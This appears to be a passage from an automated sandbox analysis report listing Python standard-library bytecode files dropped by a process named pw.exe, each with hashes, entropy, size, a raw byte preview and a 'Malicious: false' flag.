Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.e.f.d.d...Z.e.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.e.f.d d!..Z.e.f.d"d#..Z.e.f.d$d%..Z.d&e.f.d'e.f.d(e.f.g.d(e.f.d)e.f.d&e.f.g.d)e.f.d(e.f.d'e.f.g.d'e.f.d&e.f.d)e.f.g.d..Z.d+d,..Z.d-d...Z.z.d.d/l m.Z...W.n...e!y.......Y.n.w.e"..Z#e#f.d0d1..Z$z.d.d2l m$Z$..W.n...e!y.......Y.n.w.G.d3d4..d4..Z%z.d.d5l m%Z%..W.n...e!y.......Y.n.w.G.d6d7..d7e"..Z&d8d9..Z'e.d:g.d;....Z(G.d<d=..d=e)..Ze"..f.e+e,h.e-e.e/f.d>d?..Z0dXdBdC..Z1dDdE..Z2z.d.dFl m2Z2..W.n...e!..y;......Y.n.w.dGdH..Z3dIdJ..Z4dYdLdM..Z5dNdO..Z6dPdQ..Z7dRdS..Z8G.dTdU..dU..Z9e"..Z:G.dVdW..dW..Z;dKS.)ZzEfunctools.py - Tools for working with functions and callable objects.)...update_wrapper..wraps..WRAPPER_ASSIGNMENTS..WRAPPER_UPDATES..total_ordering..cache..cmp_to_key..lru_cache..reduce..partial..partialmethod..singledispatch..si

C:\recover\pw\lib\pycache\genericpath.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3905
Entropy (8bit):	5.155690728166832
Encrypted:	false
SSDEEP:	96:XqsfAs4EvRWosntVf4/zsSQ1ow+2U/tAaDKDj51dmvuoZ:os4jtKyow8/tjgqWoZ
MD5:	3B69B21178C3CFA5DE24576C4DBC2003
SHA1:	C1B0719ED8AE5809214F038DFDF4A6F4E05C102A
SHA-256:	446E5D79FB14D2530B3A6D2680BBA10BBD230E78CF55B64E3EC795590648F4F1
SHA-512:	5B3414D4EA70FDB2CD0E83A2C721121E7BA5278EFAD369F1E8F58E4565D36E5D8420993B4D410FFF3CBC50332C8A42DC255CE1C358400074E77D033A302F36B2
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z..Path operations common to more than one OS.Do not use directly. The OS specific modules import the appropriate.functions from this module themselves.......N)...commonprefix..exists..getatime..getctime..getmtime..getsize..isdir..isfile..samefile..sameopenfile..samestatc....................C...s*...z.t...\|.....W.d.S...t.t.f.y.......Y.d.S.w.).zDTest whether a path exists. Returns False for broken symbolic linksFT)...os..stat..OSError..ValueError)...path..r..... C:\recover\pw\lib\genericpath.pyr........s................r....c....................C....4...z.t...\|...}.W.n...t.t.f.y.......Y.d.S.w.t...\|.j...S.).z%Test whether a path is a regular fileF).r....r....r....r......S_ISREG..st_mode).r......str....r....r....r.........................r....c....................C...r....).z<Return true if the pathname re

C:\recover\pw\lib\pycache\glob.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5850
Entropy (8bit):	5.131833182875176
Encrypted:	false
SSDEEP:	96:a77f2UQQ4yZsw6LQ4yZs9UfK9BCjbAOp280dqZqh3qX0GqQC7xr8HqRRqhBQoSqj:dXQ7Z4LQ7Z6UC7CjbrpteqZqBqX1qQCW
MD5:	8C6D598EE7D24646CE1571646665ABED
SHA1:	1A28A7A61572B5B329A27B71D31E8178F0093573
SHA-256:	7753703E82113C05AD635E2A964B22CDB1FCD6A18FF84BA6881216CAE0C0A91C
SHA-512:	834F059C71DA80C8125A51D7F7D47922D39C09C053DDE7324234F287B5324E336F9AC2D11D51467E9053DB0739C1E094DF2F697DA0D2B8927B30CE44372A5680
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.d.d.d...d.d...Z.d.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e...d"..Z.e...d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.e.j.e.e.d,d...B.Z d.S.)-z.Filename globbing utility......N)...glob..iglob..escapeF....root_dir..dir_fd..recursivec....................C...s....t.t.\|.\|.\|.\|.d.....S.).ay...Return a list of paths matching a pathname pattern... The pattern may contain simple shell-style wildcards a la. fnmatch. However, unlike fnmatch, filenames starting with a. dot are special cases that are not matched by '' and '?'. patterns... If recursive is true, the pattern '**' will match any files and. zero or more directories and subdirectories.. r....)...listr....)...pathnamer....r....r......r......C:\recover\pw\lib\glob.pyr........s......r....c....................C...s....t...d.\|.\|.....t...d.\|.\|.\|

C:\recover\pw\lib\pycache\hashlib.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6843
Entropy (8bit):	5.591645112836145
Encrypted:	false
SSDEEP:	96:ZdPjhwzUgQUdROKh0WXI7dQia/XG6s1t6iojyyt8NQCcx54bNdO9DF4irm/tMm6u:ZRmE5+odQiafGJ1tv4OmVP/4XbJ4nJ0
MD5:	790EB42F4B3A58806E802293F0D7DFCC
SHA1:	C41A71EDC57C36B1F51B02C8409BFFF28DA9BC79
SHA-256:	E6F0AA0D5F8CFDB5207759D9A4EA9A5EA2AF9F17933B3B3B2E98240C4B3D2199
SHA-512:	9A021052DF2137FE19751333B4F17E0850FD7A909951467A91ECC14C8EA4EF3BDC329715F1C17CA70E430ADEF268B1412F9B447F0FE6B04AC13AAD0AEBF58284
Malicious:	false
Preview:	o.........Sg.).......................@...sl...d.Z.d.Z.e.e...Z.e.e...Z.e.d...Z.i.Z.d.d.h.Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.z.d.d.l.Z.e.Z.e.Z.e...e.j...Z.W.n...e.yG......d.Z.e.Z.e.Z.Y.n.w.z.d.d.l.m.Z...W.n..e.yz......d.d.l.m.Z...e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.d.d...Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.D.].Z.z.e.e...e...e.<.W.q...e.y.......d.d.l.Z.e...d.e.....Y.q.w.[.[.[.[.[.[.d.S.).a3...hashlib module - A common interface to many hash functions...new(name, data=b'', *kwargs) - returns a new hash object implementing the. given hash function; initializing the hash. using the given binary data...Named constructor functions are also available, these are faster.than using new(name):..md5(), sha1(), sha224(), sha256(), sha384(), sha512(), blake2b(), blake2s(),.sha3_224, sha3_256, sha3_384, sha3_512, shake_128, and shake_256...More algorithms may be available on your platform but the above are guaranteed

C:\recover\pw\lib\pycache\heapq.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13863
Entropy (8bit):	5.350361064161332
Encrypted:	false
SSDEEP:	192:3nqTYZnQtot7ItafyjjWya/PXjFGRxibJWiTqe0hN2leov+Ugn:3nEYZn0ot7It7j3aXjgRxiM0uN2kk+/n
MD5:	6B6F44B9D1696E20F3570C8A678AC54C
SHA1:	9F47FDD2D71E53F9C224BCD4EEC936A4C1FDFF15
SHA-256:	18205C2201BC94F30F4D8A95CE1E5315D9FA149CEC3B0E52C027DD3D4512C03B
SHA-512:	5B87EC15B609DC1A268B0BD38B908C4B57D19BDA3ACD9719D7DD0734ED04A85AD83955E4B9015811AC924C5A511352A7D50695AFD209BE56D86CAC34E98F0945
Malicious:	false
Preview:	o.........Sg.[.......................@...sD...d.Z.d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...d.d...Z.dd d!..Z.dd"d#..Z.z.d$d%l.T.W.n...e.yY......Y.n.w.z.d$d&l.m.Z...W.n...e.yk......Y.n.w.z.d$d'l.m.Z...W.n...e.y}......Y.n.w.z.d$d(l.m.Z...W.n...e.y.......Y.n.w.e.d)k.r.d$d.l.Z.e.e.........d.S.d.S.)+a....Heap queue algorithm (a.k.a. priority queue)...Heaps are arrays for which a[k] <= a[2k+1] and a[k] <= a[2k+2] for.all k, counting elements from 0. For the sake of comparison,.non-existing elements are considered to be infinite. The interesting.property of a heap is that a[0] is always its smallest element...Usage:..heap = [] # creates an empty heap.heappush(heap, item) # pushes a new item on the heap.item = heappop(heap) # pops the smallest item from the heap.item = heap[0] # smallest item on the heap without popping it.heapify(x) # transforms list into a heap, in-place, in linear time

C:\recover\pw\lib\pycache\hmac.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6971
Entropy (8bit):	5.291415621513426
Encrypted:	false
SSDEEP:	192:WcFTSdeLSo3yfjb/3xXrCx5PgT1nxc203AbC:WcFT0eLhyX1K5S1nv0QbC
MD5:	E6EA7C23853724ED5120A070472BF7A0
SHA1:	8E4732EDCE9B2AC4C827872110CB4CECA9F646E4
SHA-256:	DF25857CDBF94C46A0D3C2E313F363C957ABD35A347E3FF274D0C30FFCED7423
SHA-512:	A297CDF51D06A84931E8E574A5CA68B53F3AB4A7F1070A9C6C377B280D7AA679B08CB16113C43E733922979F0CE2812413A5C17E93550378A3AA670C98988DA3
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y.......d.Z.d.Z.d.d.l.m.Z...Y.n.w.e.j.Z.e.e.j...Z.d.d.l.Z.e.d.d...e.d...D.....Z.e.d.d...e.d...D.....Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.d.S.).zqHMAC (Keyed-Hashing for Message Authentication) module...Implements the HMAC algorithm as described by RFC 2104.......N)..._compare_digestc....................c..........\|.].}.\|.d.A.V...q.d.S.)..\...N.......0..xr....r......C:\recover\pw\lib\hmac.py..<genexpr>.............r.........c....................c...r....)..6...Nr....r....r....r....r....r........r....c....................@...sf...e.Z.d.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...HMACz~RFC 2104 HMAC class. Also complies with RFC 4231... This supports the API for Cryptographic Hash Functions (PEP 247).. .@...)..._hmac.._inner.._outer..block_size..digest_sizeN..c....................C...s....t.\|.t.t.f...s.t.d.t.\|...j.......\|.s.t.d.....t.r<t.\|.t.t.f...r<z

C:\recover\pw\lib\pycache\inspect.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	85151
Entropy (8bit):	5.48938120856268
Encrypted:	false
SSDEEP:	1536:URc0NzW1X0tJcqYqOWjXHdV352ox842jTk9VBbL+xSjiN2TjJXTpsWTp5JQVXiG0:URvtW1o737HdV35KNPKmwHtQVSG82IQk
MD5:	FA4430EF84ED013E1AF693C6C0FA77DF
SHA1:	C3BAB84506A05D559110672411CC1587D2F8F96F
SHA-256:	F57EFCF5F5A2D83DADB11FA9141925432FDABADF026AAFD3C76A38CB8D7FC397
SHA-512:	68F1EB1201CF9AFC4032199793FC8967FC728FF1D0814F89647F8B7F256773A28FF712DC129ED72DDF2A79E3DA5E16E73B704C28EEE4E9E9944B1B4B75238A14
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...e...Z.e.j.....D.].\.Z.Z.e.e.d.e...<.q^d.Z.d.d.d.d...d.d...Z d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e&e.d...r.d.d...Z(n.d.d...Z(d.d...Z)d d!..Zd"d#..Z+d$d%..Z,d&d'..Z-d(d)..Z.dd+..Z/d,d-..Z0d.d/..Z1d0d1..Z2d2d3..Z3d4d5..Z4d6d7..Z5d8d9..Z6d:d;..Z7d.d<d=..Z8e.d>d?..Z9d@dA..Z:dBdC..Z;d.dD..dEdF..Z<dGdH..Z=dIdJ..Z>dKdL..Z?dMdN..Z@dOdP..ZAdQdR..ZBdSdT..ZCdUdV..ZDd.dWdX..ZEi.ZFi.ZGd.dYdZ..ZHG.d[d\..d\eI..ZJG.d]d^..d^e.jK..ZLd_d`..ZMdadb..ZNG.dcdd..ddeI..ZOG.dedf..df..ZPdgdh..ZQdidj..ZRdkdl..ZSdmdn..ZTd.dodp..ZUe.dqdr..ZVdsdt..ZWe.dudv..ZXdwdx..ZYe.dydz..ZZd{d\|..Z[e.d}d~..Z\d.d...Z]d.d.d...Z^d.d...Z_d.d.d.d.i.i.e`d.d...d.d...d.d...d.d...e^f.d.d...Zae`d.d...d.d...d.d...f.d.d...Zbd.d...Zcd.d...Zdd.d...Zee.d.d...Zfd.d...Zge.d.d...Zhd.d.d...Zid.d...Zje.

C:\recover\pw\lib\pycache\io.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3661
Entropy (8bit):	5.382700116002142
Encrypted:	false
SSDEEP:	48:neBVAsKEv1YlurRNZsmi/VA61vWF/3+XIQjC2Ai3QuAXuhgwGgdPOcGcMzzMfSWI:AK0iSxOmoWF2vLAy/hygdP7GcmYa7RXn
MD5:	A7B4A7E1E6D4F4B38A12C16337854F04
SHA1:	C04CC06D7F825DDDC4C38B1010743A5158BEC881
SHA-256:	6C64CA2F46A9AA5EC2C0763C81A9ED6EA727E3C18B7750FF896024598DC124FD
SHA-512:	9C08B14544B7D0171BCB4B4061308922D5CDA959850E85ADE95F92C8F57413D1E0D5A0753E553164E0CBFD4000226C8D5B57CFE4202A4AA6FBD33FCF4155D7BB
Malicious:	false
Preview:	o.........Sg.........................@...sH...d.Z.d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.e._.d.Z.d.Z.d.Z.G.d.d...d.e.j.e.j.d...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j e...Z!e.."e.....e.e.e.e.e.f.D.].Z#e.."e#....que.e.f.D.].Z#e!."e#....q.[#z.d.d.l.m$Z$..W.n...e%y.......Y.d.S.w.e.."e$....d.S.).a....The io module provides the Python interfaces to stream handling. The.builtin open function is defined in this module...At the top of the I/O hierarchy is the abstract base class IOBase. It.defines the basic interface to a stream. Note, however, that there is no.separation between reading and writing to streams; implementations are.allowed to raise an OSError if they do not support a given operation...Extending IOBase is RawIOBase which deals simply with the reading and.writing of raw bytes to a stream. FileIO subclasses RawIOBase to provide.an interface to OS files...BufferedIOBase deals with buffering on a raw

C:\recover\pw\lib\pycache\ipaddress.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61449
Entropy (8bit):	5.3054842700679306
Encrypted:	false
SSDEEP:	1536:tZqqs3deqQmjuqJqq9qhIOGqaqzIVqOq/sqmqeXWqJqZqoqfqEqNqqBNqzSq2qfe:kamjPaWNFGc81veYm1o4Jg5wLlf8x7LR
MD5:	43130A3BCF5C30A83C819445F90772A5
SHA1:	EB5AE498E61F41F1434B54C7CC209CE1D0AF2E60
SHA-256:	100535EC26C52F57DFF3C66EB5E3BB2A5BDCF0B69FBC96A74F7171B9569D5EC0
SHA-512:	EB296CC7B8D599793583E5D6C4118F52C2F1A97784E6CEA61D990E2812D44FF851CA0CEDB34DEE50A9CCBB9D0E4F88E5AF91124B5064425746EC8EC2DDD897E1
Malicious:	false
Preview:	o.........Sg.,.......................@...s....d.Z.d.Z.d.d.l.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d=d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.G.d#d$..d$..Z.d.a.e.j.G.d%d&..d&e.....Z.e.j.G.d'd(..d(e.....Z.G.d)d..d..Z.G.d+d,..d,e.e...Z.G.d-d...d.e...Z.G.d/d0..d0e.e...Z.G.d1d2..d2..Z.e.e._.G.d3d4..d4..Z.G.d5d6..d6e.e...Z G.d7d8..d8e ..Z!G.d9d:..d:e.e...Z"G.d;d<..d<..Z#e#e _.d.S.)>z.A fast, lightweight IPv4/IPv6 manipulation library in Python...This library is used to create/poke/manipulate IPv4 and IPv6 addresses.and networks...z.1.0.....N. .......c....................@........e.Z.d.Z.d.Z.d.S.)...AddressValueErrorz%A Value Error related to the address.N....__name__..__module__..__qualname__..__doc__..r....r......C:\recover\pw\lib\ipaddress.pyr.................r....c....................@...r....)...NetmaskValueErrorz%A Value Error related to the netmask.Nr....r....r....r....r....r........r....r....c....................C....R...z.

C:\recover\pw\lib\pycache\keyword.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	925
Entropy (8bit):	5.365589529271905
Encrypted:	false
SSDEEP:	24:bBMgKEVTSAvFwzVCI0L67avc0Kb4S0bJB6R/uu:bzVu8wzVmxcZt0bJB65b
MD5:	0F2505AA2284732ABE6C436A90E11008
SHA1:	767AA8E13931B99AEC1E0B3A307DC0E59F85919D
SHA-256:	CC363E6434315EAEAF6947D4D5E6FAC22D26E6699746574F6A006B171408DCB7
SHA-512:	7B5D9F90C806FA5C98B677CADC25900810FBF28B756D95A7050A5FB12DB3F661E791EDDA53D0F504A470F536258FD7FCEED234554BFFCA206BA518F4ED360A53
Malicious:	false
Preview:	o.........Sgd........................@...s4...d.Z.g.d...Z.g.d...Z.g.d...Z.e.e...j.Z.e.e...j.Z.d.S.).a....Keywords (from "Grammar/python.gram")..This file is automatically generated; please don't muck it up!..To update the symbols in this file, 'cd' to the top directory of.the python source tree and run:.. PYTHONPATH=Tools/peg_generator python3 -m pegen.keywordgen Grammar/python.gram Grammar/Tokens Lib/keyword.py..Alternatively, you can run 'make regen-keyword'..)...iskeyword..issoftkeyword..kwlist..softkwlist)#..False..None..TrueZ.andZ.asZ.assertZ.asyncZ.awaitZ.breakZ.classZ.continueZ.defZ.delZ.elifZ.elseZ.exceptZ.finallyZ.forZ.fromZ.globalZ.ifZ.import..inZ.is..lambdaZ.nonlocalZ.notZ.orZ.passZ.raise..returnZ.tryZ.whileZ.withZ.yield)..._Z.case..matchN)...__doc__..__all__r....r......frozenset..__contains__r....r......r....r......C:\recover\pw\lib\keyword.py..<module>....s...........&....

C:\recover\pw\lib\pycache\linecache.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4140
Entropy (8bit):	5.309477118861057
Encrypted:	false
SSDEEP:	96:8Z1XLppmx0pYUG0wzU182J691Tc7mh5ae7y8:APyN10wzg6TTc7mh5vD
MD5:	A949B95A54A22D464F1112192B3D89A3
SHA1:	5F0B87EC1B8BAA2173EE8C667D7152AEA0E19EF2
SHA-256:	7668EBFD7AC0C719ED639AD42A6B0A846B48C243CB3DE09324D0B5CFAC125092
SHA-512:	D8F2DC9BC8C5966904CD8BA415F8E6F2B3A82A2B09065CB538D7C6F4B4AB486C3B57371BF81867E2BA65A2CF509F30D8005595AC5EE8CA5EF5A0ABEAD881553D
Malicious:	false
Preview:	o.........Sg.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.i.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Cache lines from Python source files...This is intended to read lines from modules imported -- hence if a filename.is not found, it will look down the module search path for a file by.that name.......N)...getline..clearcache..checkcache..lazycachec....................C...s....t.......d.S.).z.Clear the cache entirely.N)...cache..clear..r....r......C:\recover\pw\lib\linecache.pyr........s......r....c....................C...s8...t.\|.\|...}.d.\|.....k.r.t.\|...k.r.n...d.S.\|.\|.d.....S.d.S.).z~Get a line for a Python source file from the cache.. Update the cache if it doesn't contain an entry for this file already........)...getlines..len)...filename..lineno..module_globals..linesr....r....r....r........s..............r....c....................C...sR...\|.t.v.r.t.\|...}.t.\|...d.k.r.t.\|...d...S.z.t.\|.\|...W.S...t.y(......t.....g...Y.S.w.).z

C:\recover\pw\lib\pycache\locale.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	46163
Entropy (8bit):	6.0618184837566185
Encrypted:	false
SSDEEP:	768:g5YArct40pztzQUB04z2GYcJFSd6tmG7a4L+P9cLjYp:w1Y4GzbB04zBYGFU6F7a4aPuL8p
MD5:	86DC5BAC93631572FCD8E5F4B55CED5C
SHA1:	6CC7E6AD597F650BE6EF334189ED30700185918B
SHA-256:	B7441631DF2A614759CEA27C0CEB101E06B17BA3C444E7F80C64C9510A678F4B
SHA-512:	968FA4ABB77FC532F44B87CB7BB15E2A1580F1C64E94339C7CCBFDB9E16EE20F297BD4C7DBCD0421F93DB6BA289A0A33B5D9AB75CC0B7A6A11546F3A23F40E83
Malicious:	false
Preview:	o.........Sg.8.......................@...sF"..d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.g.d...Z.d.d...Z.d.d...Z.z.d.d.l.T.W.n%..e.yW......d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.d...Z...d.d.d...Z.Y.n.w.d.e...v.r_e.Z.d.e...v.rfe.Z.e.Z.i.Z.e.. e...d.d.....Z.d.d...Z!..d.d.d...Z"d.d...Z#e..$d...Z%..d.d d!..Z&..d.d"d#..Z'..d.d$d%..Z(..d.d&d'..Z)..d.d)d..Zd+d,..Z.d-d...Z+..d.d/d0..Z,e-f.d1d2..Z.d3d4..Z/d5d6..Z0e.Z1d7d8..Z2d9d:..Z3d;d<..Z4d=d>..Z5d?d@..Z6..d.dBdC..Z7e.f.dDdE..Z8..d.dFd...Z.e.f.dGdH..Z9z.d.dIl.m:Z:..W.n...e...y.......dJdK..Z:Y.n.w.z.e;..W.n...e<..y.........d.dLdM..Z=Y.n.w...d.dNdM..Z=i.dOdP..dQdP..dRdS..dTdU..dVdU..dWdX..dYdZ..d[d\..d]d^..d_d`..dadS..dbdc..ddde..dfdg..dhdS..didS..djdS..i.dkdl..dmdn..dodp..dqdr..dsdg..dtdu..dvdc..dwdx..dydz..d{de..d\|d}..d~d...d.d...d.d...d.dU..d.d...d.d.....dXd.d.d.d.d.d.d\d^d`d.....Z>e?e>.@....D.].\.ZAZBeA.Cd.d...ZAe>.DeAeB......q.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...

C:\recover\pw\lib\pycache\lzma.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12098
Entropy (8bit):	5.374442981898098
Encrypted:	false
SSDEEP:	192:l+KxmpkRLMC//oP1eHyszdKXnoGwKjwmAKa09hs4Nr:bmo2eHtgNAKl9hs45
MD5:	813104AC02E9801B24D83F7CD88E0D26
SHA1:	0E1B565E38F47A2B614996CDD257FD02601B4952
SHA-256:	686F85135213AA434303459F1BBB562E34AD961B49962426D14D4318A8601BDB
SHA-512:	0EE4564DEBF0E6DB44D2C55099A6825FAFA1E8BFED434E6A66D6265338832E381464D0059236D3F1081447E52E3DEA4094082E13E2205B4AF346FBB24448B446
Malicious:	false
Preview:	o.........SgA5.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.S.).aS...Interface to the liblzma compression library...This module provides a class for reading and writing compressed files,.classes for incremental (de)compression, and convenience functions for.one-shot (de)compression...These classes and functions support both the XZ and legacy LZMA.container formats, as well as raw compressed data streams..)$Z.CHECK_NONEZ.CHECK_CRC32Z.CHECK_CRC64Z.CHECK_SHA256Z.CHECK_ID_MAXZ.CHECK_UNKNOWNZ.FILTER_LZMA1Z.FILTER_LZMA2Z.FILTER_DELTAZ.FILTER_X86Z.FILTER_IA64Z.FILTER_ARMZ.FILTER_ARMTHUMBZ.FILTER_POWERPCZ.FILTER_SPARC..FORMAT_AUTO..FORMAT_XZZ.FORMAT_ALONEZ.FORMAT_RAWZ.MF_HC3Z.MF_HC4Z.MF_BT2Z.MF_BT3Z.MF_BT4Z.MODE_FASTZ.MODE_NORMALZ.PRESET_DEFAULTZ.PRESET_EXTREME..LZMACompressor..LZMADecompressor..LZMAFile..LZMAError..open..compress..decompressZ.is_c

C:\recover\pw\lib\pycache\mimetypes.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17617
Entropy (8bit):	5.672581933135159
Encrypted:	false
SSDEEP:	384:eoMcSuUoeg6rHVMN9yByEWG6D+nTF+jZjB77gMZR0:eNzgWMEWp4+jZjzZR0
MD5:	4884B36FD064A8026C7A3B1F8F6C688A
SHA1:	62DBB60827472EF1128D359545C4349B5A479D1E
SHA-256:	D561D90C1BC438B0226DA3FD9ACC6F0E22612E23185EBC6ACA66687B89D762EE
SHA-512:	66302F58B4D3B57B99621C722085693FC7554E892E25E377E804ABDB74EA9050CF45D02C42E9AB52B2635F1BD280AFC0929C0A4F493F8C1955853C8199C9980E
Malicious:	false
Preview:	o.........Sg.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y%......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.y7......d.Z.Y.n.w.g.d...Z.g.d...Z.d.a.d.a.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.e.....d.d...Z.e.d.k.r\|e.....d.S.d.S.).a....Guess the MIME type of a file...This module defines two useful functions:..guess_type(url, strict=True) -- guess the MIME type and encoding of a URL...guess_extension(type, strict=True) -- guess the extension for a given MIME type...It also contains the following, for tuning the behavior:..Data:..knownfiles -- list of files to parse.inited -- flag set when init() has been called.suffix_map -- dictionary mapping suffixes to suffixes.encodings_map -- dictionary mapping suffixes to encodings.types_map -- dictionary mapping suffixes to types..Functions:..init([files]) -- parse a list of files, default knownfiles (on Windows, the. default values are taken from the registry).read_mime_types(

C:\recover\pw\lib\pycache\ntpath.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15301
Entropy (8bit):	5.429073009362354
Encrypted:	false
SSDEEP:	384:/7Fr8V5t+X9xyFga+mDB8s+qHe65jZBCrF++umt:Bra/WkFga+mDGs+hsZwrF++umt
MD5:	6D021050D51E2A96268DB23272EA46A3
SHA1:	26CCE94E888A0257DB0E5223460D76AA9D6442CD
SHA-256:	67EC1240A0626ADB3F7FC662F3B42F07B0671BC90153977EBDC1541A949318AA
SHA-512:	E31FD3ED303984D7A77BF845F6F93C9F53D5137AEDD3DC974B494B925E89D636EB65D26547EEDCA0E5E81115711C8B836F10A52A33B7573D8B92657C29074077
Malicious:	false
Preview:	o.........Sgov.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.z.d.d.l.m.Z.m.Z.m.Z...d.d...Z.W.n...e.yK......d.d...Z.Y.n.w.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d d!..Z d"d#..Z!z.d.d$l"m#Z#..W.n...e.y.......d.Z#Y.n.w.d%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(z.d.d/l"m)Z)..W.n...e.y.......e(ZY.n.w.d0d1..Zz.d.d2l"m+Z+m,Z-..W.n...e.y.......eZ.Y.n.w.d3d4..Z/d5d6..Z0d7d8..d9d:..Z.e1e.d;..o.e..2..d<..d=k.Z3dCd>d?..Z4d@dA..Z5z.d.dBl"m6Z7..W.d.S...e...y.......Y.d.S.w.)Dz.Common pathname manipulations, WindowsNT/95 version...Instead of importing this module directly, import os and refer to this.module as os.path...........\..;../z..;C:\binZ.nul.....N)...*)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirnameZ.commonprefixZ.getsizeZ.getmtimeZ.getatimeZ.getctime..islink..exists..lexists..isdir..isfile..ismount..expanduser..expandvars..normpath..abspath..curdir..pardir..sep..p

C:\recover\pw\lib\pycache\nturl2path.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	5.510854607310153
Encrypted:	false
